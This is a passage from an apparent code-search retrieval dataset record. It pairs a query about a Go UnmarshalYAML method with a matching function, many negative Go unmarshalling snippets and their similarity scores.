json.NewDecoder(buf)\n\tdec.UseNumber()\n\n\tif err := dec.Decode(&data); err != nil {\n\t\treturn err\n\t}\n\n\tvar base struct {\n\t\t/* Just the base type fields. Used for unmashalling polymorphic types.*/\n\n\t\tType string `json:\"type\"`\n\t}\n\tbuf = bytes.NewBuffer(raw)\n\tdec = json.NewDecoder(buf)\n\tdec.UseNumber()\n\n\tif err := dec.Decode(&base); err != nil {\n\t\treturn err\n\t}\n\n\tvar result StartsWithCompareOperation\n\n\tif base.Type != result.Type() {\n\t\t/* Not the type we're looking for. */\n\t\treturn errors.New(422, \"invalid type value: %q\", base.Type)\n\t}\n\n\tresult.IgnoreCase = data.IgnoreCase\n\n\tresult.Negate = data.Negate\n\n\tresult.Values = data.Values\n\n\t*m = result\n\n\treturn nil\n}", "func (v *bulkUpdateRequestCommandData) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson1ed00e60DecodeGithubComOlivereElasticV71(&r, v)\n\treturn r.Error()\n}" ]
[ "0.7564063", "0.7564063", "0.7564063", "0.7564063", "0.7564063", "0.7564063", "0.75204384", "0.74816644", "0.74274623", "0.74102575", "0.74102575", "0.74064296", "0.74064296", "0.74064296", "0.74064296", "0.74064296", "0.74064296", "0.7374543", "0.7374543", "0.71627223", "0.7137858", "0.7031841", "0.6949472", "0.69258094", "0.6882579", "0.68698263", "0.6792174", "0.67573094", "0.6755373", "0.66973776", "0.6663105", "0.6640518", "0.6640518", "0.6630647", "0.6592582", "0.6587681", "0.65677494", "0.65356284", "0.6488587", "0.6478664", "0.64270586", "0.6392334", "0.6293573", "0.62827337", "0.62827337", "0.62827337", "0.62827337", "0.62827337", "0.62827337", "0.62827337", "0.62827337", "0.62827337", "0.62827337", "0.62827337", "0.62827337", "0.62827337", "0.62827337", "0.62827337", "0.6264694", "0.62628055", "0.62240684", "0.62069416", "0.6152501", "0.61435485", "0.6107725", "0.6107725", "0.6107725", "0.60858387", "0.60511124", "0.6044034", "0.6012746", "0.6006531", "0.60044783", "0.60028136", "0.59994555", "0.5982593", "0.59800094", "0.59800094", "0.5979091", "0.59584165", "0.59513754", "0.59415233", "0.59415233", "0.59415233", "0.59415233", "0.59415233", "0.59415233", "0.59415233", "0.59415233", "0.59415233", "0.59415233", "0.59415233", "0.59415233", "0.59415233", "0.5902931", "0.586353", "0.5860207", "0.58579284", "0.5855552", "0.5851806" ]
0.70503175
21
UnmarshalYAML will unmarshal YAML into an operation
func (o *Op) UnmarshalYAML(unmarshal func(interface{}) error) error { var typeDecoder map[string]rawMessage err := unmarshal(&typeDecoder) if err != nil { return err } return o.unmarshalDecodedType(typeDecoder) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (op *OpRemove) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}", "func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}", "func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar addRaw opAddRaw\n\terr := unmarshal(&addRaw)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decode OpAdd: %s\", err)\n\t}\n\n\treturn op.unmarshalFromOpAddRaw(addRaw)\n}", "func (e *ExternalOptimizeForConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}", "func (op *OpRetain) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Fields)\n}", "func (w *CommandWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar err error\n\tvar str string\n\tif err = unmarshal(&str); err == nil {\n\t\tw.Command = str\n\t\treturn nil\n\t}\n\n\tvar commandArray []string\n\tif err = unmarshal(&commandArray); err == nil {\n\t\tw.Commands = commandArray\n\t\treturn nil\n\t}\n\treturn nil //TODO: should be an error , something like UNhhandledError\n}", "func (a *RelabelAction) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tswitch act := RelabelAction(strings.ToLower(s)); act {\n\tcase RelabelReplace, RelabelKeep, RelabelDrop, RelabelHashMod, RelabelLabelMap, RelabelLabelDrop, RelabelLabelKeep:\n\t\t*a = act\n\t\treturn nil\n\t}\n\treturn fmt.Errorf(\"unknown relabel action %q\", s)\n}", "func (f *Flag) UnmarshalYAML(node *yaml.Node) error {\n\ttag := GetTag(node.Value)\n\tf.Name = tag.Name\n\tf.Negates = tag.Negates\n\tlog.Tracef(\"Unmarshal %s into %s\\n\", node.Value, tag)\n\treturn nil\n}", "func (i *Transform) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = ParseTransformString(s)\n\treturn err\n}", "func (a anchors) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn nil\n}", "func (r *Connection) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype tmp Connection\n\tvar s struct {\n\t\ttmp `yaml:\",inline\"`\n\t}\n\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to parse YAML: %s\", err)\n\t}\n\n\t*r = Connection(s.tmp)\n\n\tif err := utils.ValidateTags(r); err != nil {\n\t\treturn err\n\t}\n\n\t// If options weren't specified, create an empty map.\n\tif r.Options == nil {\n\t\tr.Options = make(map[string]interface{})\n\t}\n\n\treturn nil\n}", "func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}", "func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}", "func (msg *RawMessage) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tmsg.unmarshal = unmarshal\n\treturn nil\n}", "func (s *Step) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// unmarshal into stepUnmarshaller instead of Step for dynamic unmarshalling Request/Expect\n\tvar unmarshaled stepUnmarshaller\n\tif err := unmarshal(&unmarshaled); err != nil {\n\t\treturn err\n\t}\n\n\ts.Title = unmarshaled.Title\n\ts.Description = unmarshaled.Description\n\ts.Vars = unmarshaled.Vars\n\ts.Protocol = unmarshaled.Protocol\n\ts.Include = unmarshaled.Include\n\ts.Ref = unmarshaled.Ref\n\ts.Bind = unmarshaled.Bind\n\ts.Timeout = unmarshaled.Timeout\n\ts.PostTimeoutWaitingLimit = unmarshaled.PostTimeoutWaitingLimit\n\ts.Retry = unmarshaled.Retry\n\n\tp := protocol.Get(s.Protocol)\n\tif p == nil {\n\t\tif unmarshaled.Request != nil || unmarshaled.Expect != nil {\n\t\t\treturn errors.Errorf(\"unknown protocol: %s\", s.Protocol)\n\t\t}\n\t\treturn nil\n\t}\n\tif unmarshaled.Request != nil {\n\t\tinvoker, err := p.UnmarshalRequest(unmarshaled.Request)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\ts.Request = invoker\n\t}\n\tbuilder, err := p.UnmarshalExpect(unmarshaled.Expect)\n\tif err != nil {\n\t\treturn err\n\t}\n\ts.Expect = builder\n\n\treturn nil\n}", "func (s *ArtifactoryParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain ArtifactoryParams\n\tif err := unmarshal((*plain)(s)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (this *Write) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// new temp as map[string]interface{}.\n\ttemp := make(map[string]interface{})\n\n\t// unmarshal temp as yaml.\n\tif err := unmarshal(temp); err != nil {\n\t\treturn err\n\t}\n\n\treturn this.unmarshal(temp)\n}", "func yamlUnmarshal(y []byte, o interface{}, strict bool, opts ...JSONOpt) error {\n\tvo := reflect.ValueOf(o)\n\tunmarshalFn := yaml.Unmarshal\n\tif strict {\n\t\tunmarshalFn = yaml.UnmarshalStrict\n\t}\n\tj, err := yamlToJSON(y, &vo, unmarshalFn)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error converting YAML to JSON: %v\", err)\n\t}\n\n\terr = jsonUnmarshal(bytes.NewReader(j), o, opts...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error unmarshaling JSON: %v\", err)\n\t}\n\n\treturn nil\n}", "func UnmarshalYAML(config *YAMLConfiguration, path string) {\n\tdata, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\terr = yaml.Unmarshal(data, config)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tos.Exit(1)\n\t}\n}", "func yamlDecode(ctx *pulumi.Context, text string, opts ...pulumi.InvokeOption) ([]map[string]interface{}, error) {\n\targs := struct {\n\t\tText string `pulumi:\"text\"`\n\t}{Text: text}\n\tvar ret struct {\n\t\tResult []map[string]interface{} `pulumi:\"result\"`\n\t}\n\n\tif err := ctx.Invoke(\"kubernetes:yaml:decode\", &args, &ret, opts...); err != nil {\n\t\treturn nil, err\n\t}\n\treturn ret.Result, nil\n}", "func (b *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar strVal string\n\terr := unmarshal(&strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\tparsed, err := Parse(strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*b = parsed\n\treturn nil\n}", "func (cd *ContainerDef) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype rawContainerDef ContainerDef\n\traw := rawContainerDef{Essential: true} // If essential is not specified, we want it to be true\n\tif err := unmarshal(&raw); err != nil {\n\t\treturn err\n\t}\n\n\t*cd = ContainerDef(raw)\n\treturn nil\n}", "func (r *Run) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar cl CommandList\n\tcommandCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&cl) },\n\t\tAssign: func() { *r = Run{Command: cl} },\n\t}\n\n\ttype runType Run // Use new type to avoid recursion\n\tvar runItem runType\n\trunCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runItem) },\n\t\tAssign: func() { *r = Run(runItem) },\n\t\tValidate: func() error {\n\t\t\tactionUsedList := []bool{\n\t\t\t\tlen(runItem.Command) != 0,\n\t\t\t\tlen(runItem.SubTaskList) != 0,\n\t\t\t\trunItem.SetEnvironment != nil,\n\t\t\t}\n\n\t\t\tcount := 0\n\t\t\tfor _, isUsed := range actionUsedList {\n\t\t\t\tif isUsed {\n\t\t\t\t\tcount++\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif count > 1 {\n\t\t\t\treturn errors.New(\"only one action can be defined in `run`\")\n\t\t\t}\n\n\t\t\treturn nil\n\t\t},\n\t}\n\n\treturn marshal.UnmarshalOneOf(commandCandidate, runCandidate)\n}", "func (s *GitEvent) UnmarshalYAML(n *yaml.Node) error {\n\tvar j string\n\terr := yaml.Unmarshal([]byte(n.Value), &j)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Note that if the string cannot be found then it will be set to the zero value, 'Push' in this case.\n\t*s = toID[j]\n\treturn nil\n}", "func (t *Task) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar rawTask map[string]interface{}\n\terr := unmarshal(&rawTask)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to unmarshal task: %s\", err)\n\t}\n\n\trawName, ok := rawTask[\"name\"]\n\tif !ok {\n\t\treturn errors.New(\"missing 'name' field\")\n\t}\n\n\ttaskName, ok := rawName.(string)\n\tif !ok || taskName == \"\" {\n\t\treturn errors.New(\"'name' field needs to be a non-empty string\")\n\t}\n\n\tt.Name = taskName\n\n\t// Delete name field, since it doesn't represent an action\n\tdelete(rawTask, \"name\")\n\n\tfor actionType, action := range rawTask {\n\t\taction, err := actions.UnmarshalAction(actionType, action)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to unmarshal action %q from task %q: %s\", actionType, t.Name, err)\n\t\t}\n\n\t\tt.Actions = append(t.Actions, action)\n\t}\n\n\tif len(t.Actions) == 0 {\n\t\treturn fmt.Errorf(\"task %q has no actions\", t.Name)\n\t}\n\n\treturn nil\n}", "func (act *Action) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// creating anonimus struct to avoid recursion\n\tvar a struct {\n\t\tName ActionType `yaml:\"type\"`\n\t\tTimeout time.Duration `yaml:\"timeout,omitempty\"`\n\t\tOnFail onFailAction `yaml:\"on-fail,omitempty\"`\n\t\tInterval time.Duration `yaml:\"interval,omitempty\"`\n\t\tEnabled bool `yaml:\"enabled,omitempty\"`\n\t\tRecordPending bool `yaml:\"record-pending,omitempty\"`\n\t\tRole actionRole `yaml:\"role,omitempty\"`\n\t}\n\t// setting default\n\ta.Name = \"defaultName\"\n\ta.Timeout = 20 * time.Second\n\ta.OnFail = of_ignore\n\ta.Interval = 20 * time.Second\n\ta.Enabled = true\n\ta.RecordPending = false\n\ta.Role = ar_none\n\tif err := unmarshal(&a); err != nil {\n\t\treturn err\n\t}\n\t// copying into aim struct fields\n\t*act = Action{a.Name, a.Timeout, a.OnFail, a.Interval,\n\t\ta.Enabled, a.RecordPending, a.Role, nil}\n\treturn nil\n}", "func (c *VictorOpsConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultVictorOpsConfig\n\ttype plain VictorOpsConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\tif c.APIKey == \"\" {\n\t\treturn fmt.Errorf(\"missing API key in VictorOps config\")\n\t}\n\tif c.RoutingKey == \"\" {\n\t\treturn fmt.Errorf(\"missing Routing key in VictorOps config\")\n\t}\n\treturn checkOverflow(c.XXX, \"victorops config\")\n}", "func (w *BuildWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar err error\n\tvar buildString string\n\tif err = unmarshal(&buildString); err == nil {\n\t\t//str := command\n\t\t//*w = CommandWrapper(str)\n\t\tw.BuildString = buildString\n\t\treturn nil\n\t}\n\t// if err != nil {\n\t// \treturn err\n\t// }\n\t// return json.Unmarshal([]byte(str), w)\n\n\tvar buildObject map[string]string\n\tif err = unmarshal(&buildObject); err == nil {\n\t\t//str := command\n\t\t//*w = CommandWrapper(commandArray[0])\n\t\tw.BuildObject = buildObject\n\t\treturn nil\n\t}\n\treturn nil //should be an error , something like UNhhandledError\n}", "func (key *PrivateKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar str string\n\terr := unmarshal(&str)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*key, err = NewPrivateKey(str)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (s *TokenStrategy) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar t string\n\terr := unmarshal(&t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif val, ok := toStrategy[strings.ToLower(t)]; ok {\n\t\t*s = val\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"'%s' is not a valid token strategy\", t)\n}", "func (b *extraKV) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&b.Kv)\n}", "func (k *Ktype) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar ktyp string\n\terr := unmarshal(&ktyp)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*k = KeventNameToKtype(ktyp)\n\treturn nil\n}", "func (i *Int) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate int\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\ti.set(candidate)\n\treturn nil\n}", "func (bc *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar u64 uint64\n\tif unmarshal(&u64) == nil {\n\t\tAtomicStoreByteCount(bc, ByteCount(u64))\n\n\t\treturn nil\n\t}\n\n\tvar s string\n\tif unmarshal(&s) == nil {\n\t\tv, err := ParseByteCount(s)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"%q: %w: %v\", s, ErrMalformedRepresentation, err)\n\t\t}\n\t\tAtomicStoreByteCount(bc, v)\n\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"%w: unexpected type\", ErrMalformedRepresentation)\n}", "func (i *UserGroupAccess) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = UserGroupAccessString(s)\n\treturn err\n}", "func (i *Interface) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = InterfaceString(s)\n\treturn err\n}", "func (ep *Endpoint) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tp, err := ParseEndpoint(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*ep = *p\n\treturn nil\n}", "func (p *PortMapping) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Alias PortMapping\n\taux := &struct {\n\t\tProtocol string `json:\"protocol\"`\n\t\t*Alias\n\t}{\n\t\tAlias: (*Alias)(p),\n\t}\n\tif err := unmarshal(&aux); err != nil {\n\t\treturn err\n\t}\n\tif aux.Protocol != \"\" {\n\t\tval, ok := PortMappingProtocolNameToValue[strings.ToUpper(aux.Protocol)]\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"unknown protocol value: %s\", aux.Protocol)\n\t\t}\n\t\tp.Protocol = PortMappingProtocol(val)\n\t}\n\treturn nil\n}", "func (b *Bool) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate bool\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\tb.set(candidate)\n\treturn nil\n}", "func (r *rawMessage) UnmarshalYAML(b []byte) error {\n\t*r = b\n\treturn nil\n}", "func (at *SecurityCheck) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar res map[string]interface{}\n\tif err := unmarshal(&res); err != nil {\n\t\treturn err\n\t}\n\terr := mapstructure.Decode(res, &at)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif at.TestType == common.NonApplicableTest || at.TestType == common.ManualTest {\n\t\tat.NonApplicable = true\n\t}\n\treturn nil\n}", "func (y *PipelineYml) Unmarshal() error {\n\n\terr := yaml.Unmarshal(y.byteData, &y.obj)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif y.obj == nil {\n\t\treturn errors.New(\"PipelineYml.obj is nil pointer\")\n\t}\n\n\t//err = y.Evaluate(applyEnvsWithPriority(y.metadata.publicTemplateVars, y.metadata.secretTemplateVars))\n\t//if err != nil {\n\t//\treturn err\n\t//}\n\n\t// re unmarshal to obj, because byteData updated by evaluate\n\terr = yaml.Unmarshal(y.byteData, &y.obj)\n\treturn err\n}", "func (options *Options) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype defaults Options\n\tdefaultValues := defaults(*NewOptions())\n\n\tif err := unmarshal(&defaultValues); err != nil {\n\t\treturn err\n\t}\n\n\t*options = Options(defaultValues)\n\n\tif options.SingleLineDisplay {\n\t\toptions.ShowSummaryFooter = false\n\t\toptions.CollapseOnCompletion = false\n\t}\n\n\t// the global options must be available when parsing the task yaml (todo: does order matter?)\n\tglobalOptions = options\n\treturn nil\n}", "func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t}\n\n\tif aliased.Type, _, err = docs.GetInferenceCandidateFromYAML(nil, docs.TypeTracer, aliased.Type, value); err != nil {\n\t\treturn fmt.Errorf(\"line %v: %w\", value.Line, err)\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}", "func (m *Mount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Alias Mount\n\taux := &struct {\n\t\tPropagation string `yaml:\"propagation\"`\n\t\t*Alias\n\t}{\n\t\tAlias: (*Alias)(m),\n\t}\n\tif err := unmarshal(&aux); err != nil {\n\t\treturn err\n\t}\n\t// if unset, will fallback to the default (0)\n\tif aux.Propagation != \"\" {\n\t\tval, ok := MountPropagationNameToValue[aux.Propagation]\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"unknown propagation value: %s\", aux.Propagation)\n\t\t}\n\t\tm.Propagation = MountPropagation(val)\n\t}\n\treturn nil\n}", "func (mv *Move) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tparsed, err := ParseMove(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*mv = *parsed\n\treturn nil\n}", "func (a *ApprovalStrategy) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar j string\n\tif err := unmarshal(&j); err != nil {\n\t\treturn err\n\t}\n\t// Note that if the string cannot be found then it will be set to the zero value, 'Created' in this case.\n\t*a = approvalStrategyToID[strings.ToLower(j)]\n\treturn nil\n}", "func (s *TestFileParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain TestFileParams\n\tif err := unmarshal((*plain)(s)); err != nil {\n\t\treturn err\n\t}\n\tif s.Size == 0 {\n\t\treturn errors.New(\"File 'size' must be defined\")\n\t}\n\tif s.HistogramBucketPush == nil {\n\t\treturn errors.New(\"File 'histogram_bucket_push' must be defined\")\n\t}\n\tif s.HistogramBucketPull == nil {\n\t\treturn errors.New(\"File 'histogram_bucket_pull' must be defined\")\n\t}\n\treturn nil\n}", "func (s *MaporEqualSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \"=\")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}", "func (i *ImportDefinition) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\n\tif err := unmarshal(&s); err == nil {\n\t\ti.File = s\n\t\treturn nil\n\t}\n\tvar str struct {\n\t\tFile string `yaml:\"file,omitempty\"`\n\t\tRepository string `yaml:\"repository,omitempty\"`\n\t\tNamespaceURI string `yaml:\"namespace_uri,omitempty\"`\n\t\tNamespacePrefix string `yaml:\"namespace_prefix,omitempty\"`\n\t}\n\tif err := unmarshal(&str); err != nil {\n\t\treturn err\n\t}\n\ti.File = str.File\n\ti.Repository = str.Repository\n\ti.NamespaceURI = str.NamespaceURI\n\ti.NamespacePrefix = str.NamespacePrefix\n\treturn nil\n}", "func (s *MaporSpaceSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \" \")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}", "func (d *DataType) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar val string\n\tif err := unmarshal(&val); err != nil {\n\t\treturn err\n\t}\n\treturn d.FromString(val)\n}", "func (l *LogLevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar tp string\n\tunmarshal(&tp)\n\tlevel, exist := LogLevelMapping[tp]\n\tif !exist {\n\t\treturn errors.New(\"invalid mode\")\n\t}\n\t*l = level\n\treturn nil\n}", "func (t *Type) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar value string\n\tif err := unmarshal(&value); err != nil {\n\t\treturn err\n\t}\n\n\tif err := t.Set(value); err != nil {\n\t\treturn fmt.Errorf(\"failed to parse '%s' to Type: %v\", value, err)\n\t}\n\n\treturn nil\n}", "func (p *Package) UnmarshalYAML(value *yaml.Node) error {\n\tpkg := &Package{}\n\tpkg.Present = true // present gets set to true because they wouldn't mention it otherwise\n\tvar err error // for use in the switch below\n\n\tlog.Trace().Interface(\"Node\", value).Msg(\"Pkg UnmarshalYAML\")\n\tif value.Tag != \"!!map\" {\n\t\treturn fmt.Errorf(\"unable to unmarshal yaml: value not map (%s)\", value.Tag)\n\t}\n\n\tfor i, node := range value.Content {\n\t\tlog.Trace().Interface(\"node1\", node).Msg(\"\")\n\t\tswitch node.Value {\n\t\tcase \"name\":\n\t\t\tpkg.Name = value.Content[i+1].Value\n\t\t\tif pkg.Name == \"\" {\n\t\t\t\treturn nil\n\t\t\t}\n\t\tcase \"version\":\n\t\t\tpkg.Version = value.Content[i+1].Value\n\t\tcase \"present\":\n\t\t\tpkg.Present, err = strconv.ParseBool(value.Content[i+1].Value)\n\t\t\tif err != nil {\n\t\t\t\tlog.Error().Err(err).Msg(\"can't parse installed field\")\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\tlog.Trace().Interface(\"pkg\", pkg).Msg(\"what's in the box?!?!\")\n\t*p = *pkg\n\n\treturn nil\n}", "func (r *ParseKind) UnmarshalYAML(unmarshal func(v interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn fmt.Errorf(\"ParseKind should be a string\")\n\t}\n\tv, ok := _ParseKindNameToValue[s]\n\tif !ok {\n\t\treturn fmt.Errorf(\"invalid ParseKind %q\", s)\n\t}\n\t*r = v\n\treturn nil\n}", "func (tf *Taskfile) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&tf.Tasks); err == nil {\n\t\ttf.Version = \"1\"\n\t\treturn nil\n\t}\n\n\tvar taskfile struct {\n\t\tVersion string\n\t\tExpansions int\n\t\tOutput string\n\t\tIncludes yaml.MapSlice\n\t\tVars Vars\n\t\tEnv Vars\n\t\tTasks Tasks\n\t}\n\tif err := unmarshal(&taskfile); err != nil {\n\t\treturn err\n\t}\n\ttf.Version = taskfile.Version\n\ttf.Expansions = taskfile.Expansions\n\ttf.Output = taskfile.Output\n\tincludes, defaultInclude, err := IncludesFromYaml(taskfile.Includes)\n\tif err != nil {\n\t\treturn err\n\t}\n\ttf.Includes = includes\n\ttf.IncludeDefaults = defaultInclude\n\ttf.Vars = taskfile.Vars\n\ttf.Env = taskfile.Env\n\ttf.Tasks = taskfile.Tasks\n\tif tf.Expansions <= 0 {\n\t\ttf.Expansions = 2\n\t}\n\treturn nil\n}", "func (r *repoEntry) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar u map[string]string\n\tif err := unmarshal(&u); err != nil {\n\t\treturn err\n\t}\n\tfor k, v := range u {\n\t\tswitch key := strings.ToLower(k); key {\n\t\tcase \"name\":\n\t\t\tr.Name = v\n\t\tcase \"url\":\n\t\t\tr.URL = v\n\t\tcase \"useoauth\":\n\t\t\tr.UseOAuth = strings.ToLower(v) == \"true\"\n\t\t}\n\t}\n\tif r.URL == \"\" {\n\t\treturn fmt.Errorf(\"repo entry missing url: %+v\", u)\n\t}\n\treturn nil\n}", "func (f *Fixed8) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn f.setFromString(s)\n}", "func (r *OAuthFlow) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tobj := make(map[string]interface{})\n\tif err := unmarshal(&obj); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tif value, ok := obj[\"authorizationUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.AuthorizationURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"tokenUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.TokenURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"refreshUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.RefreshURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"scopes\"]; ok {\n\t\trbytes, err := yaml.Marshal(value)\n\t\tif err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tvalue := map[string]string{}\n\t\tif err := yaml.Unmarshal(rbytes, &value); err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tr.Scopes = value\n\t}\n\n\texts := Extensions{}\n\tif err := unmarshal(&exts); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tif len(exts) > 0 {\n\t\tr.Extensions = exts\n\t}\n\n\treturn nil\n}", "func (s *IPMIConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*s = defaultConfig\n\ttype plain IPMIConfig\n\tif err := unmarshal((*plain)(s)); err != nil {\n\t\treturn err\n\t}\n\tif err := checkOverflow(s.XXX, \"modules\"); err != nil {\n\t\treturn err\n\t}\n\tfor _, c := range s.Collectors {\n\t\tif err := c.IsValid(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (d *Document) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&d.raw); err != nil {\n\t\treturn err\n\t}\n\n\tif err := d.init(); err != nil {\n\t\treturn fmt.Errorf(\"verifying YAML data: %s\", err)\n\t}\n\n\treturn nil\n}", "func (i *UOM) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = UOMString(s)\n\treturn err\n}", "func (d *duration) UnmarshalYAML(unmashal func(interface{}) error) error {\n\tvar s string\n\tif err := unmashal(&s); err != nil {\n\t\treturn err\n\t}\n\tdur, err := time.ParseDuration(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = duration(dur)\n\treturn nil\n}", "func (b *brokerOutputList) UnmarshalYAML(unmarshal func(interface{}) error) error 